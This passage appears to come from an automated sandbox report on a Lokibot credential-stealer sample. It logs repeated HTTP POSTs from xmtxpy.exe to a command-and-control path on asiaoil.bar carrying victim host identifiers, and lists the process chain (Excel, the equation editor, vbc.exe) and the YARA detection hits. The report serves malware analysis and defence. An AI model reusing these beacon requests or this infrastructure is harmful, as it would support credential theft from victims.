Feb 10, 2022 10:23:22.072757959 CET	439	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:22.089340925 CET	439	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:22.165954113 CET	440	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SRqidrs3tVmZaXWczrmKsgbZ4wzW0DNHNg57GTGmubIkUghb%2BRZ87SXRzbz4C2tAAPiS7VjMUqurezvKjUarwJZfb4vQq5PhgZ3zf0wd8HEEhwN0s6BL9vHZrcRCQA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4473f0b3b9208-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.22	49239	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:23.139723063 CET	441	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:23.156311989 CET	441	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:23.219130993 CET	441	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wh%2FHtCJ%2F5r2bJkgiHao050klrqU1roeJfG%2B4i6f3I%2FKeYPkYarG1akcmrjP1MjieW7NO3IUngd6ffdEn3ApGf%2BloKJJBXuiDKbgTzbof4laU14sUbhPRo%2BZeW2t2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44745a96792b9-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.22	49240	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:25.193411112 CET	442	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:25.209836006 CET	443	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:25.303853035 CET	443	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4ZOuSqnAuokRLt6j%2BaPucUYURpspSs5959QwqxEaaI65vhxihU%2BSGTldehqd66BkHEec1wRdP8eKXsiuAfROg4bLz4JgpMIkfQ1aSuC9Jn%2BKCRCMyVVG8exy0%2Ffc7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db447528eb59094-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.22	49241	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:26.759434938 CET	444	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:26.775861025 CET	444	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:26.868480921 CET	445	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jDOcGscIXoe9amgDgblodsrhn0vmrU90jrXpu8eubmt%2FtVJmc0fEBfOASTLuxQbUt3Vyn6AzRV98aodD8X4wZ0aRqf1etGTdsv2KXeP8MDKpOfZ2KmYTIdqKCEQiTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4475c4e69691b-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.22	49242	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:27.802325010 CET	446	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:27.818645954 CET	446	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:27.877187014 CET	447	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2nROjTYrKHq5Dp3zfqoq%2BF08OA0sabm52jF3F7aFN8zXdi%2BsX6Cq%2F1PGMTUNOdZpDBwGOKpy%2F6346z2Ex7OMyy0ds2Scyrm%2B5L4uaz1G2nfp7WA5GPCq2oiQAJpM6A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44762ced16963-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.22	49243	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:28.801702023 CET	448	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:28.817922115 CET	448	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:28.894922972 CET	449	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=d88FAJAIS01MD7fqAfBFKZ2BhmJxCoOv1Hl6%2FrHHy0nAp1VZ0UmTp2mncxvNOP61QK0xudgAXXNSW%2FHEuL5DLwigS1D%2BHfHJsx5oxzhN7qOtYp8JjADI7dRG6jZTLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db447690f816969-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.22	49244	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:29.791358948 CET	449	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:29.808893919 CET	450	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:29.883049011 CET	450	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=y4ckWSdyfKKgK%2FaSnEtfcnQkctDbfArW85YmMzuF2GYtn1Vk9z3zezqrAQm97NN4dlNgg4mlDR6cFowQrcAInwiWKaPPKhv22VNGu%2Fi7%2FjbZEoNLKbqtK0TOhixPTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4476f3c7c9072-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.22	49245	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:30.804450989 CET	451	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:30.822309017 CET	451	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:30.900362015 CET	452	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Mk%2F%2ByckUn75h6rICqGx9cpJuG7dAjWTNBLmPAr%2FZWuFMh6m%2Fl%2FaMElHYxT54c74Wcf%2BgX9vcoEDADUlGA5wqWcrwO%2B3jiZphR9HdBO0OgJ1mWc%2FTatA77PboqFA%2F%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db447759aa39113-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49173	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:09.274962902 CET	325	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:09.292191029 CET	325	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:09.407815933 CET	326	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9Es%2BCG1ikpvgB48TpSGLWbDWE4lq9KcFNWoR2DepgSQQlwCDx1lJRGNxwRi%2Fuixs5%2FkJ%2BkDAOwOExmpgG%2BFmlHRat148sW8J8clBcEhbV%2BEh21BpaPsALJP5WpoKTA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4457809ea6939-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.22	49246	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:31.841167927 CET	453	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:31.857433081 CET	453	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:31.928236961 CET	454	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lkoFlBzh%2FTvOS8G5hZ5h6dPK6YATM%2FnTao2RMMscPCKdFKdF3yBO98Mj55rUC%2BFjMzMKlTeqOz7aj%2Fqw04UBHUPGJ1ayR49HyEd8ogh8KcYhkHXG20zdKy28pHBuBA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4477c0a09694f-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.22	49247	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:32.863722086 CET	455	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:32.880721092 CET	455	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:33.037036896 CET	456	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6IjZw4UIYZGNBtRkEhw0RzPzggwNQkdD8cEShbMPEDVfqNl1bXjX9XB1t94CL9pCK1%2FBnfmx78Swjpa1RBrVYoWA186HoyYm1jceSa4D8bUv8CTvYDnbykWZ8ANQ%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db447827e0d5b92-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49174	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:10.415911913 CET	326	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:10.432744980 CET	327	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:10.503607035 CET	327	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=v1xV1eUCMr1RHqWt4LM%2Fv%2BEUgUSXOzGnZmG6dttvsqUD60K11ymXFrl4lyksF6Q7oS%2BhJuNDPXKkgp1NVPUepBFUa%2B45veh4yiZTSSeqWs9tYXq72%2F%2FEXVVMkf5Q8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4457f29af917d-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 2580, Parent PID: 596

General

Target ID:	0
Start time:	10:21:15
Start date:	10/02/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f770000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: EQNEDT32.EXEPID: 2984, Parent PID: 596

General

Target ID:	2
Start time:	10:21:38
Start date:	10/02/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 1712, Parent PID: 2984

General

Target ID:	4
Start time:	10:21:40
Start date:	10/02/2022
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\vbc.exe"
Imagebase:	0x400000
File size:	295124 bytes
MD5 hash:	7DF1896047D9647D818080DD17563D92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: xmtxpy.exePID: 2260, Parent PID: 1712

General

Target ID:	5
Start time:	10:21:41
Start date:	10/02/2022
Path:	C:\Users\user\AppData\Local\Temp\xmtxpy.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd
Imagebase:	0x8a0000
File size:	125440 bytes
MD5 hash:	1EACD504E4461F9EE286715997D8A9EE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: Loki_1, Description: Loki Payload, Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: xmtxpy.exePID: 2556, Parent PID: 2260

General

Target ID:	6
Start time:	10:21:41
Start date:	10/02/2022
Path:	C:\Users\user\AppData\Local\Temp\xmtxpy.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd
Imagebase:	0x8a0000
File size:	125440 bytes
MD5 hash:	1EACD504E4461F9EE286715997D8A9EE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Loki_1, Description: Loki Payload, Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Loki_1, Description: Loki Payload, Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Loki_1, Description: Loki Payload, Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential 